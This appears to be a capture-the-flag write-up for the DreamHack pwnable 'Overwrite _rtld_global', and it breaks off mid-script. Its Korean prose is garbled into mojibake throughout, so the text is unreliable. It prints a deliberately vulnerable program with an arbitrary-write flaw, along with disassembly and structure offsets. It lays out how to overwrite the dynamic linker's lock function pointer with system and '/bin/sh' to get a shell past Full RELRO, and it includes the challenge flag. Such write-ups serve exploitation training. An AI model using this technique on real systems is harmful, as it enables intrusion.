๋ฌธ์ : DreamHack โ Overwrite _rtld_global ๋ถ๋ฅ: pwnable ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}

์์ ์ฃผ์ ์ฐ๊ธฐ๋ฅผ ์์ ์ฅ์๋๋ฐ GOT๊ฐ ์ฝ๊ธฐ ์ ์ฉ์ด๋ฉด ๋ค์ ํ์ ์ ์ด๋์ ์ฐพ์๊น.
์ด ๋ฌธ์ ์ ๋ต์ ํ๋ก๊ทธ๋จ ๋ฐ์ ์๋ค. ์คํ ํ์ผ์ด ์๋๋ผ ๋์ ๋ง์ปค(ld.so) ์์ ์ ์ญ ๋ณ์๋ค.
RELRO๋ ์คํ ํ์ผ๊ณผ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๊ฐ๊ฐ์ GOT๋ฅผ ์ ๊ทธ์ง๋ง, ld.so๊ฐ ์๊ธฐ ์ํ๋ฅผ ๋ด์ ๋๋
_rtld_global์ ์ฒ์๋ถํฐ ๋๊น์ง ์ฐ๊ธฐ ๊ฐ๋ฅํ ์ฑ๋ก ๋จ๋๋ค. ๋ง์ปค๊ฐ ๊ณ์ ๊ฐฑ์ ํด์ผ ํ๋ ๊ฐ์ด๋ผ
์ ๊ธ ์๊ฐ ์๋ค.
๊ทธ๋ฆฌ๊ณ ๊ทธ ๊ตฌ์กฐ์ฒด์๋ ํจ์ ํฌ์ธํฐ๊ฐ ๋ค์ด ์๋ค. ํ๋ก๊ทธ๋จ์ด ์ ์ ์ข ๋ฃํ ๋ ๋ฐ๋์ ํธ์ถ๋๋.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Overwrite _rtld_global |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | pwnable |
| ์ ๊ณต ํ์ผ | ow_rtld ยท ow_rtld.c ยท libc-2.27.so ยท ld-2.27.so ยท Dockerfile |
| ์๋ฒ | socat TCP-LISTEN:7182 EXEC:/home/ow_rtld/ow_rtld (Ubuntu 18.04) |
| ๋ณดํธ ๊ธฐ๋ฒ | Full RELRO ยท PIE ยท NX ยท Stack Canary (์ ๋ถ ์ผ์ง) |
| ํต์ฌ ์ทจ์ฝ์ | ํ์ ์ ํ ์๋ ์์ ์ฃผ์ 8๋ฐ์ดํธ ์ฐ๊ธฐ + libc ์ฃผ์ ๋ฌด์ ์ ์ถ |
| ํต์ฌ ๊ธฐ๋ฒ | _rtld_global์ _dl_rtld_lock_recursive๋ฅผ system์ผ๋ก ๊ต์ฒด |
๋ฌธ์ ์ค๋ช
์ ํ ์ค์ด๋ค. "Exploit Tech: _rtld_global์์ ์ค์ตํ๋ ๋ฌธ์ ์
๋๋ค."
๋๋ฆผํต ๊ฐ์ ํ๋๋ฅผ ๊ทธ๋๋ก ์ค์ตํ๋ผ๋ ๋ป์ด๋ผ ๋ชฉํ๋ ์ฒ์๋ถํฐ ์ ํด์ ธ ์๋ค.
๊ทธ๋๋ ์คํ์
์ ๋จ์ด ์ ์ด ๋์ ์ซ์๋ก ๊ฐ์ ธ๋ค ์ฐ๋ฉด ์ด ๋ฌธ์ ์ ์ฌ๋ฏธ๊ฐ ์์ด์ง๋ค.
์ ๊ณต๋ ld-2.27.so ํ๋๋ง ๋๊ณ ํ์ํ ๊ฐ์ ์ ๋ถ ์ง์ ๋ฝ์๋๋ค.
ํ์ด ํ๋ฆ์ ์ด๋ ๋ค.
main์ด ์ฒซ ์ค์์stdout์ ์ถ๋ ฅํด ์ค๋ค โ libc ๋ฒ ์ด์ค- libc ๋ฒ ์ด์ค์์ ld.so ๋ฒ ์ด์ค๋ฅผ ์ ๋ (๋ ์ฌ์ด ๊ฑฐ๋ฆฌ๊ฐ ๊ณ ์ ์ด๋ค)
_rtld_global+0x908์/bin/sh๋ฌธ์์ด_rtld_global+0xF00์system์ฃผ์- ๋ฉ๋ด์ 1์ด ์๋ ๊ฐ์ ๋ฃ์ด
main์ ๋ฆฌํด์ํค๋ฉด_dl_fini๊ฐ ์์์ ์ ธ์ ๋์ด๋ค
๐ฌ ์ ์ฐฐ โ ๋ฌด์์ ์ฅ๊ณ ์์ํ๋
๋จผ์ ๋ฐ์ด๋๋ฆฌ๋ถํฐ ๋ณธ๋ค.
file extracted/ow_rtld; checksec --file=extracted/ow_rtld
๋ณดํธ ๊ธฐ๋ฒ์ด ํ๋๋ ๋น ์ง์ง ์์๋ค. Full RELRO, ์คํ ์นด๋๋ฆฌ, NX, PIE. Bronze 2 ๋์ด๋์น๊ณ ๋ ๊ฝค ๋จ๋จํด ๋ณด์ธ๋ค.
์์ค๋ ๊ฐ์ด ์ค๋ค. 36์ค์ง๋ฆฌ ํ์ผ์ด ์ ๋ถ์ธ๋ฐ, ์ทจ์ฝ์ ์ ์จ๊ฒจ ๋์ง๋ ์์๋ค.
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}์ฃผ๋ ๊ฒ ๋ ๊ฐ์ง๋ค.
์ฒซ์งธ, printf("stdout: %p\n", stdout). stdout์ libc ์์ _IO_2_1_stdout_ ๊ตฌ์กฐ์ฒด๋ฅผ
๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๋ผ, ์ด ํ ์ค๋ก libc ๋ฒ ์ด์ค๊ฐ ๊ทธ๋ฅ ๋์จ๋ค. ์ ์ถ์ ์ํด ๋ญ ํ ํ์๊ฐ ์๋ค.
๋์งธ, *(long long *)addr = data. ์ฃผ์๋ ๊ฐ๋ ๋ด๊ฐ ์ ํ๊ณ , while (1) ์์ด๋ผ ํ์ ์ ํ์ด ์๋ค.
์ฐ๊ณ ์ถ์ ๋งํผ ์ด ๋ค์ idx์ 1์ด ์๋ ๊ฐ์ ๋ฃ์ผ๋ฉด main์ด ๋ฆฌํดํ๋ค.
๋์ค์ด์ ๋ธ๋ฆฌ๋ก ํ ๋ฒ ๋ ํ์ธํ๋ค.
objdump -d -M intel --no-show-raw-insn extracted/ow_rtld | sed -n "/<main>:/,/^$/p" | sed -f annot_main.sedannot_main.sed๋ objdump ์ถ๋ ฅ์ ํน์ ์ฃผ์ ์ค ๋์ ์ค๋ช
์ ๋ง๋ถ์ด๋ ์นํ ๊ท์น์ด๋ค.
ํ๋ฉด์ ๋ณด์ด๋ <-- ์ฃผ์์ objdump๊ฐ ์ฐ์ ๊ฒ ์๋๋ผ ๋ด๊ฐ ๋ถ์ธ ๊ฒ์ด๋ค.
s|^\( *83e:.*\)|\1 <-- stdout(FILE*) ํฌ์ธํฐ ๋ก๋|
s|^\( *854:.*\)|\1 <-- "stdout: %p" ์ถ๋ ฅ = libc ์ฃผ์ ์ ์ถ|
s|^\( *8e7:.*\)|\1 <-- *(long long *)addr = data : ์์ ์ฃผ์ ์ฐ๊ธฐ|
s|^\( *902:.*\)|\1 <-- while(1) ๋ก ๋ณต๊ท (์ฐ๊ธฐ ํ์ ๋ฌด์ ํ)|
8e7์ mov QWORD PTR [rdx],rax ํ ์ค์ด ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค.
rdx๋ ๋ด๊ฐ ๋ฃ์ ์ฃผ์, rax๋ ๋ด๊ฐ ๋ฃ์ ๊ฐ. ๊ฒ์ฌ๊ฐ ์๋ค.
๊ทธ๋ฆฌ๊ณ 902์ jmp 859๊ฐ ๊ทธ ๋ฃจํ๋ฅผ ๋ค์ ์ฒ์์ผ๋ก ๋๋ฆฐ๋ค.
888์ cmp eax,1 / jne 8ec๋ ๊ฐ์ด ๋ด ๋ ๋งํ๋ค.
idx๊ฐ 1์ด ์๋๋ฉด 8ec๋ก ๋น ์ ธ ์นด๋๋ฆฌ๋ฅผ ๊ฒ์ฌํ๊ณ main์ด ๋ฆฌํดํ๋ค.
์ฆ ์ข
๋ฃ ์์ ์ ๋ด๊ฐ ๊ณ ๋ฅผ ์ ์๋ค. ์ฐ๊ธฐ๋ฅผ ๋ค ๋๋ธ ๋ค์ ์ํ๋ ์๊ฐ์
์ข
๋ฃ ๊ฒฝ๋ก๋ฅผ ๋ฐ๊ฒ ํ ์ ์๋ค๋ ๋ป์ด๊ณ , ์ด๊ฒ ๋์ค์ ํธ๋ฆฌ๊ฑฐ๊ฐ ๋๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ Full RELRO๊ฐ ์ ๊ทธ๋ ๋ฒ์
์์ ์ฐ๊ธฐ๋ฅผ ์ป์ผ๋ฉด ๋ณดํต ์ ์ผ ๋จผ์ GOT๋ฅผ ๋ณธ๋ค. printf@got๋ฅผ system์ผ๋ก ๋ฐ๊พธ๊ณ
printf("/bin/sh")๊ฐ ๋ถ๋ฆฌ๊ธฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ ์์ด๋ค. ์ฌ๊ธฐ์๋ ์ ๋๋ค.
RELRO(RELocation Read-Only)๋ ๋ง์ปค๊ฐ ์ฌ๋ฐฐ์น๋ฅผ ๋๋ธ ๋ค ๊ทธ ์์ญ์ mprotect๋ก ์ฝ๊ธฐ ์ ์ฉ์ผ๋ก
๋๋ ค๋๋ ์ํ ๊ธฐ๋ฒ์ด๋ค. Partial RELRO๋ .init_array ๊ฐ์ ์ผ๋ถ๋ง ์ ๊ทธ๊ณ GOT๋ ์ด์ด ๋์ง๋ง,
Full RELRO๋ ๋ก๋ฉ ์์ ์ ๋ชจ๋ ์ฌ๋ณผ์ ๋ฏธ๋ฆฌ ํด์(BIND_NOW)ํ ๋ค GOT๊น์ง ํต์งธ๋ก ์ ๊ทผ๋ค.
lazy binding์ ํฌ๊ธฐํ๋ ๋์ GOT ๋ฎ์ด์ฐ๊ธฐ๋ฅผ ์์ฒ ์ฐจ๋จํ๋ค.
์ ๋ง ๊ทธ๋ฐ์ง ์ธ๊ทธ๋จผํธ ๋ฐฐ์น๋ก ํ์ธํ๋ค.
readelf -lW extracted/ow_rtld | grep -E "Type|GNU_RELRO|LOAD"; readelf -dW extracted/ow_rtld | grep -E "BIND_NOW|FLAGS"
์ฝ๋ ๋ฒ์ ์ด๋ ๋ค.
์ฐ๊ธฐ ๊ฐ๋ฅํ LOAD ์ธ๊ทธ๋จผํธ๋ 0x200da0์์ ์์ํด 0x200290๋ฐ์ดํธ, ์ฆ 0x201030๊น์ง๋ค.
GNU_RELRO๋ ๊ฐ์ 0x200da0์์ ์์ํด 0x260๋ฐ์ดํธ, 0x201000๊น์ง๋ฅผ ๋ฎ๋๋ค.
GOT๋ 0x200fa0์ ์์ผ๋ RELRO ๋ฒ์ ์์ด๋ค. ์ด๊ธฐํ๊ฐ ๋๋๋ฉด ์ฝ๊ธฐ ์ ์ฉ์ด ๋๋ค.
BIND_NOW ํ๋๊ทธ๋ ์ผ์ ธ ์๋ค. ์ ๋ง Full RELRO๋ค. GOT๋ ํฌ๊ธฐํด์ผ ํ๋ค.
โถ๐ณ๏ธ ์ฝ์ง โ GOT๊ฐ ๋งํ๋ฉด ๋ณดํต ์ด๋๋ฅผ ๋ณด๋๊ฐ, ๊ทธ๋ฆฌ๊ณ ์ฌ๊ธฐ์ ์ ๋ค ์ ๋๋๊ฐ
ํ์ ํ๋ณด๋ฅผ ํ๋์ฉ ์ง์ ๋๊ฐ๋ค. ๊ฒฐ๊ณผ๋ง ๋ณด๋ฉด ๋ปํ์ง๋ง, ์ง์ ๋ณด๊ธฐ ์ ์๋ ๋ปํ์ง ์์๋ค.
__malloc_hook / __free_hook โ glibc 2.27์ด๋ฉด ์์ง ์ด์ ์๋ ๊ณ ์ ํ์ ์ด๋ค.
ํ์ง๋ง ํ
์ malloc์ด๋ free๊ฐ ์ค์ ๋ก ๋ถ๋ ค์ผ ๋ฐ๋ํ๋ค. ์ด ํ๋ก๊ทธ๋จ์ ํ์ ์ฐ์ง ์๋๋ค.
init()์ด setvbuf(stdin, 0, 2, 0)๋ก ๋ ์คํธ๋ฆผ์ ๋ชจ๋ _IONBF(๋น๋ฒํผ)๋ก ๋ง๋ค์ด ๋ฒ๋ ค์
stdio๊ฐ ๋ฒํผ๋ฅผ ํ ๋นํ ์ผ์กฐ์ฐจ ์๋ค. scanf๋ printf๋ ํ์ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋๋๋ค.
__exit_funcs ๋ฆฌ์คํธ โ exit()๊ฐ ์ํํ๋ atexit ํธ๋ค๋ฌ ๋ฐฐ์ด์ด๋ค. ์ฌ๊ธฐ ํจ์ ํฌ์ธํฐ๋ฅผ
system์ผ๋ก ๋ฐ๊พธ๋ฉด ๋ ๊ฒ ๊ฐ์ง๋ง, glibc๋ ์ด ํฌ์ธํฐ๋ค์ PTR_MANGLE๋ก ๊ผฌ์์ ์ ์ฅํ๋ค.
fs:0x30์ ์๋ ํ๋ก์ธ์ค๋ณ guard ๊ฐ๊ณผ XORํ ๋ค ๋นํธ ํ์ ์ ๊ฑด๋ค. guard๋ฅผ ์ฝ์ ์๋จ์ด
์์ผ๋(์ฐ๋ฆฌ์๊ฒ ์ฐ๊ธฐ๋ง ์๊ณ ์ฝ๊ธฐ๊ฐ ์๋ค) ์ฌ๋ฐ๋ฅด๊ฒ ๊ผฌ์ธ ๊ฐ์ ๋ง๋ค ์ ์๋ค.
_IO_list_all ๊ธฐ๋ฐ FILE ์์กฐ โ vtable์ ๊ฐ์ง ํ
์ด๋ธ๋ก ๋๋ฆฌ๋ house of orange ๊ณ์ด.
glibc 2.27์๋ ์ด๋ฏธ IO_validate_vtable์ด ๋ค์ด์ ์์ด์ vtable ํฌ์ธํฐ๊ฐ
__libc_IO_vtables ์น์
๋ฒ์๋ฅผ ๋ฒ์ด๋๋ฉด ํ๋ก์ธ์ค๋ฅผ ์ฃฝ์ธ๋ค. _IO_str_jumps ๊ฐ์
ํฉ๋ฒ vtable์ ์ฌํ์ฉํ๋ ์ฐํ๋ ๊ฐ๋ฅํ์ง๋ง, ๊ฐ์ง FILE ๊ตฌ์กฐ์ฒด ํ๋๋ฅผ ํต์งธ๋ก ์กฐ๋ฆฝํด์ผ ํด์
8๋ฐ์ดํธ ์ฐ๊ธฐ๋ฅผ ์ด ๋ฒ ๋๊ฒ ์จ์ผ ํ๋ค. ์ด ๋ฌธ์ ์ด๋ฆ์ด _rtld_global์ธ๋ฐ ๊ตณ์ด ๊ทธ๋ด ์ด์ ๊ฐ ์๋ค.
์ฝ๊ธฐ ์์๊ฐ ์๋ค๋ ๊ฒ ์ฌ๊ธฐ์ ๊ณ์ ๋ฐ๋ชฉ์ ์ก๋๋ค. ์ ์ถ์ stdout ํ ์ค์ด ์ ๋ถ๊ณ ,
๊ทธ ๋ค๋ก๋ ๋์ ๊ฐ๊ณ ์จ์ผ ํ๋ค. ๊ทธ๋์ ๊ฐ์ ์ฝ์ง ์๊ณ ๋ ์ ํํ ์ด๋์ ๋ฌด์์ด ์๋์ง
์ ์ ์ผ๋ก ์์๋ผ ์ ์๋ ํ์ ์ด์ด์ผ ํ๋ค. _rtld_global์ด ๋ฑ ๊ทธ๋ ๋ค.
๐งฑ ๋ฐฐ๊ฒฝ โ _rtld_global์ด๋ผ๋ ์ฌ๊ฐ์ง๋
๋์ ๋ง์ปค๋ ๊ฒฐ๊ตญ ํ๋์ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ค. ํ๋ก์ธ์ค์ ๋งคํ๋๊ณ , ์ฝ๋์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ๋๋ค.
๊ทธ๋ฆฌ๊ณ ๋ง์ปค๋ ์คํ ๋ด๋ด ์๊ธฐ ์ํ๋ฅผ ์ด๋๊ฐ์ ์ ์งํด์ผ ํ๋ค. ์ด๋ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๋ช ๊ฐ
๋ก๋๋๋์ง, ์ฌ๋ณผ ๊ฒ์ ์ค์ฝํ๊ฐ ์ด๋ป๊ฒ ์๊ฒผ๋์ง, dlopen์ด ๋์์ ๋ถ๋ฆด ๋ ์ธ ๋ฝ์ ๋ฌด์์ธ์ง.
๊ทธ ์ํ๋ฅผ ์ ๋ถ ๋ด์ ๊ฒ์ด struct rtld_global์ด๊ณ , ์ธ์คํด์ค ์ด๋ฆ์ด _rtld_global์ด๋ค.
dlopen ํ ๋ฒ์ด๋ฉด ๋ด์ฉ์ด ๋ฐ๋๋ ๊ฐ๋ค์ด๋ผ ์ฝ๊ธฐ ์ ์ฉ์ผ๋ก ๋ง๋ค ์๊ฐ ์๋ค.
(์ฐธ๊ณ ๋ก ์ ๋ ์ ๋ฐ๋๋ ๊ฒ๋ง ๋ชจ์ ๋ _rtld_global_ro๋ ๋ฐ๋ก ์๊ณ , ๊ทธ์ชฝ์ ์ค์ ๋ก ์ ๊ธด๋ค.)
์ฌ๋ณผ์ ld.so์ ๊ทธ๋๋ก ๋ ธ์ถ๋ผ ์๋ค. ํ์ํ ์์ ์ธ ๊ฐ๋ฅผ ํ ๋ฒ์ ๋ฝ์๋ค.
readelf --dyn-syms -W extracted/libc-2.27.so | grep -E "_IO_2_1_stdout_| system@@"; readelf --dyn-syms -W extracted/ld-2.27.so | grep -E "_rtld_global@@"
| ์ฌ๋ณผ | ํ์ผ | ์คํ์ | ํฌ๊ธฐ |
|---|---|---|---|
_IO_2_1_stdout_ | libc-2.27.so | 0x3ec760 | 224 |
system | libc-2.27.so | 0x4f440 | 45 |
_rtld_global | ld-2.27.so | 0x228060 | 3960 |
_rtld_global์ 3960๋ฐ์ดํธ, ์ฆ 0xF78์ง๋ฆฌ ๊ตฌ์กฐ์ฒด๋ค.
์ด ์ ์ด๋๊ฐ์ ์ฐ๋ฆฌ๊ฐ ๋ถ๋ฅผ ์ ์๋ ํจ์ ํฌ์ธํฐ๊ฐ ์์ด์ผ ํ๋ค.
์ข ๋ฃ ๊ฒฝ๋ก๊ฐ ๋ถ๋ฅด๋ ํจ์ ํฌ์ธํฐ
main์ด ๋ฆฌํดํ๋ฉด __libc_start_main์ด exit()๋ฅผ ๋ถ๋ฅด๊ณ , exit๋ __run_exit_handlers๋ก
๋ฑ๋ก๋ ํธ๋ค๋ฌ๋ฅผ ์ญ์์ผ๋ก ๋๋ฆฐ๋ค. ๊ทธ ๋ชฉ๋ก์ ๋งจ ๋ฐ๋ฐ๋ฅ์ _dl_fini๊ฐ ์๋ค.
__libc_start_main์ด ํ๋ก๊ทธ๋จ ์์ ์งํ ์ ์ผ ๋จผ์ ๋ฑ๋กํด ๋๊ธฐ ๋๋ฌธ์ ์ ์ผ ๋ง์ง๋ง์ ๋ถ๋ฆฐ๋ค.
_dl_fini๋ ๋ก๋๋ ์ค๋ธ์ ํธ๋ค์ ์๋ฉธ์๋ฅผ ๋๋ฆฌ๋ ํจ์๋ค. ๊ทธ ์์์ ๋ฝ์ ์ก๋๋ค.
glibc 2.27์ elf/dl-fini.c๋ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
void
_dl_fini (void)
{
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
if (nloaded == 0)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
/* ... ์๋ฉธ์ ์คํ ... */
}
}
}์ฌ๊ธฐ์ __rtld_lock_lock_recursive๋ ํจ์๊ฐ ์๋๋ผ ๋งคํฌ๋ก๋ค.
sysdeps/generic/ldsodefs.h์์ ์ด๋ ๊ฒ ํผ์ณ์ง๋ค.
#define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)GL(x)๋ _rtld_global._##x๋ฅผ ๋ปํ๋ ๋งคํฌ๋ก๋ค. ๊ทธ๋ฌ๋ ์ค์ ๋ก ์คํ๋๋ ์ฝ๋๋
_rtld_global._dl_rtld_lock_recursive (&_rtld_global._dl_load_lock.mutex);ํธ์ถ ๋์๋ ์ธ์๋ ๊ฐ์ ๊ตฌ์กฐ์ฒด ์์ ์๋ค. ํจ์ ํฌ์ธํฐ๋ฅผ system์ผ๋ก ๋ฐ๊พธ๊ณ
์ธ์๋ก ๋์ด๊ฐ๋ ๋ฎคํ
์ค ์๋ฆฌ์ /bin/sh๋ฅผ ์จ ๋๋ฉด, ์ข
๋ฃํ ๋ ๋ง์ปค๊ฐ ์์์ ์
ธ์ ๋์ด๋ค.
๋ฝ์ ํจ์ ํฌ์ธํฐ๋ก ๋ ์ด์ ๋ ์ค๋ ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ ๋ฌด์ ๋ฐ๋ผ ๊ตฌํ์ ๊ฐ์๋ผ์ฐ๊ธฐ ์ํด์์ธ๋ฐ,
๊ทธ ์ ์ฐ์ฑ์ด ๊ทธ๋๋ก ๊ณต๊ฒฉ๋ฉด์ด ๋๋ค.
_dl_fini๋ ld.so ์ด๋์ ์๋
ld.so๋ ์คํธ๋ฆฝ๋ผ ์๊ณ _dl_fini๋ export๋์ง๋ ์์์ ์ฌ๋ณผ๋ก๋ ๋ชป ์ฐพ๋๋ค. ๋ ๊ฐ์ง๋ก ์ขํ๋ค.
ํ๋๋ ์ ์ ๊ฒ์์ด๋ค. _dl_fini๋ ์์ํ์๋ง์ GL(dl_nns)๋ฅผ ์ฝ์ผ๋
_rtld_global+0x900(= 0x228960)์ ์ฐธ์กฐํ๋ ๊ณณ์ ์ ๋ถ ๋ฝ์ ๋ณด๋ฉด ํ๋ณด๊ฐ ๋์จ๋ค.
objdump -d -M intel --no-show-raw-insn extracted/ld-2.27.so > /tmp/ld227.asm
grep -n "# 228960" /tmp/ld227.asm 485: 15ab: mov rax,QWORD PTR [rip+0x2273ae] # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
7399: 8e22: cmp QWORD PTR [rip+0x21fb37],r9 # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
14688: 109b1: mov r12,QWORD PTR [rip+0x217fa8] # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
14865: 10c8a: mov r12,QWORD PTR [rip+0x217ccf] # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
...109b1์ sub r12,1 โ js(์์๋ฉด ํ์ถ)๋ก ์ด์ด์ง๋ค. ์์ค์
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)์ ๋ชจ์์ด ๊ฐ๋ค.
๋ค๋ฅธ ํ๋๋ ๋ฐํ์ ํ์ธ์ด๋ค. ๋์ ๋งํฌ๋ ํ๋ก๊ทธ๋จ์ _start๋ rdx์
rtld_fini, ์ฆ _dl_fini์ ์ฃผ์๋ฅผ ๋ด์ __libc_start_main์ ๋๊ธด๋ค.
์คํ ํ์ผ ์ํธ๋ฆฌ(0x6d0)์์ ๋ฉ์ถฐ rdx๋ฅผ ์ฝ์ผ๋ฉด ๊ทธ๋๋ก ๋์จ๋ค.
rdx at _start (rtld_fini) = 0x7ffff7c109a0 -> ld + 0x109a0 [_dl_fini]์ ์ ์ผ๋ก ์ง์ 109b1์ด ํจ์ ์๋จธ๋ฆฌ 109a0 ์์ด๋ ๋์ด ๋ง์๋จ์ด์ง๋ค.
์ปดํ์ผ๋ ๊ฒฐ๊ณผ๋ก ํ์ธ
์์ค๊ฐ ๊ทธ๋ ๋ค๊ณ ํด์ ๋ฐ์ด๋๋ฆฌ๋ ๊ทธ๋ฐ์ง๋ ๋ด์ผ ์๋ค. ld.so๋ ์คํธ๋ฆฝ๋ผ ์์ง๋ง
_rtld_global์ ๋์ ์ฌ๋ณผ์ด๋ผ objdump๊ฐ ์ฐธ์กฐ ์ง์ ์ _rtld_global+์คํ์
ํํ๋ก ๋ฌ์ ์ค๋ค.
_dl_fini ์๋ถ๋ถ๋ง ์๋ผ ๋ดค๋ค.
objdump -d -M intel --no-show-raw-insn --start-address=0x109a0 --stop-address=0x10a16 extracted/ld-2.27.so | sed -f annot_dlfini.sedannot_dlfini.sed๋ ๋ง์ฐฌ๊ฐ์ง๋ก ๋ด๊ฐ ๋ถ์ธ ์ฃผ์์ด๋ค.
s|^\( *109b1:.*\)|\1 <-- GL(dl_nns) = _rtld_global+0x900 ๋ก๋|
s|^\( *109e0:.*\)|\1 <-- rdi = \&_dl_load_lock.mutex|
s|^\( *109e7:.*\)|\1 <-- unlock ํจ์ ํฌ์ธํฐ (+0xf08) ํธ์ถ|
s|^\( *10a02:.*\)|\1 <-- rdi = \&_dl_load_lock.mutex|
s|^\( *10a09:.*\)|\1 <-- โ
lock ํจ์ ํฌ์ธํฐ (+0xf00) ํธ์ถ = ์ฐ๋ฆฌ๊ฐ ๋ฎ์ ์๋ฆฌ|
s|^\( *10a0f:.*\)|\1 <-- nloaded ๊ฒ์ฌ|
์์ค์ ํ ์ค์ฉ ๋์๋๋ค.
109b1:mov r12,[rip+...]โ_rtld_global+0x900=GL(dl_nns)109db:jmp 10a02โ ๋ฃจํ ์ง์10a02:lea rdi,[rip+...]โ_rtld_global+0x908=&_dl_load_lock.mutex10a09:call QWORD PTR [rip+...]โ_rtld_global+0xF00โ ์ฌ๊ธฐ10a0f:mov edx,[rbx+8]โnloaded๊ฒ์ฌ109e0/109e7: ์ธ๋ฝ ๊ฒฝ๋ก. ๊ฐ์rdi๋ก_rtld_global+0xF08์ ๋ถ๋ฅธ๋ค
ํจ์ ์ด๋ฆ ์๋ฆฌ์ _dl_rtld_di_serinfo@@GLIBC_PRIVATE+0x6e10 ๊ฐ์ ๊ฒ ๋ถ๋ ๊ฑด
ld.so๊ฐ ์คํธ๋ฆฝ๋ผ์ objdump๊ฐ ๊ฐ์ฅ ๊ฐ๊น์ด ๋์ ์ฌ๋ณผ ๊ธฐ์ค์ผ๋ก ์ด๋ฆ์ ๋ถ์ด๊ธฐ ๋๋ฌธ์ด๋ค.
_dl_fini๋ export๋์ง ์์์ ์ด๋ฆ์ด ์ ๋์จ๋ค. ์ค์ ํจ์ ๊ฒฝ๊ณ์๋ ๋ฌด๊ดํ๋ค.
๐ฃ ํต์ฌ โ +0xF00์ธ๊ฐ +0xF08์ธ๊ฐ
๊ตฌ์กฐ์ฒด ์คํ์ ์ ์์ผ๋ก ๊ณ์ฐํด ๋ณผ ์๋ ์๋ค.
struct link_namespaces {
struct link_map *_ns_loaded; // 8 โ 0x00
unsigned int _ns_nloaded; // 4+4 โ 0x08
struct r_scope_elem *_ns_main_searchlist; // 8 โ 0x10
unsigned int _ns_global_scope_alloc; // 4 โ 0x18
unsigned int _ns_global_scope_pending_adds; // 4 โ 0x1c
struct unique_sym_table _ns_unique_sym_table; // 72 โ 0x20
struct r_debug _ns_debug; // 40 โ 0x68
}; // ํฉ๊ณ 0x90_dl_ns[16]์ด 0x90 * 16 = 0x900, ๊ทธ ๋ค์ _dl_nns(8๋ฐ์ดํธ)๊ฐ ๋ถ์ด 0x908,
๊ฑฐ๊ธฐ์๋ถํฐ pthread_mutex_t(40๋ฐ์ดํธ)์ธ _dl_load_lock์ด ์์ํ๋ค.
0x900๊ณผ 0x908์ ๋์ค์ด์
๋ธ๋ฆฌ์ ์ ํํ ๋ง์๋ค.
๋ฌธ์ ๋ ํจ์ ํฌ์ธํฐ ์ชฝ์ด๋ค. ๊ตฌ์กฐ์ฒด ๋ท๋ถ๋ถ์ ํ๋๊ฐ ์ค๋ฌด ๊ฐ ๋๊ฒ ์ด์ด์ง๊ณ ๋น๋ ์ต์ ์ ๋ฐ๋ผ ์๋ค ์๋ค ํ๋ ๊ฒ๋ ์์ฌ ์๋ค. ์์ผ๋ก ์ธ๋ค ํ๋ ธ๋ค.
โถ๐ณ๏ธ ์ฝ์ง โ 8๋ฐ์ดํธ ์ด๊ธ๋์ ์ ธ์ด `/bin0sh`๋ฅผ ์ฐพ์๋ค
์ฒ์ ๋ง๋ ์คํฌ๋ฆฝํธ๋ _rtld_global+0xF08์ lock ํฌ์ธํฐ๋ก ์๊ณ ๊ฑฐ๊ธฐ์ system์ ์ผ๋ค.
์ต์ค๋ ์กฐ์ฉํ ๋๋ฌ๊ณ ์
ธ์ ๋จ์ง ์์๋ค. ๋์ปค ๋ณต์ ๋ณธ์ผ๋ก ๋ถ์์ ๋ ๊ทธ๋ฅ ์ฐ๊ฒฐ์ด ๋๊ฒผ๋ค.
์ฃผ์๊ฐ ํ๋ฆฐ ๊ฑด์ง ๊ธฐ๋ฒ์ด ํ๋ฆฐ ๊ฑด์ง ๊ฐ๋ฅด๋ ค๊ณ , /proc/<pid>/maps์์ ์ง์ง ๋ฒ ์ด์ค๋ฅผ ์ฝ์ด
delta ๋ถํ์ค์ฑ์ ์์ ํ ์์ค ๋๋ฒ๊ทธ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฐ๋ก ๋ง๋ค์๋ค.
#!/usr/bin/env python3
# ๋๋ฒ๊ทธ์ฉ: /proc/<pid>/maps ๋ก ์ค์ ld/libc ๋ฒ ์ด์ค๋ฅผ ์ฝ์ด delta ๋ถํ์ค์ฑ์ ์์ค ๋ค
# _rtld_global ๊ธฐ๋ฒ ์์ฒด๊ฐ ๋์ํ๋์ง๋ง ํ์ธํ๋ค.
# python3 dbg_local.py -> _dl_rtld_lock_recursive(+0xf08) ๋ฅผ system ์ผ๋ก
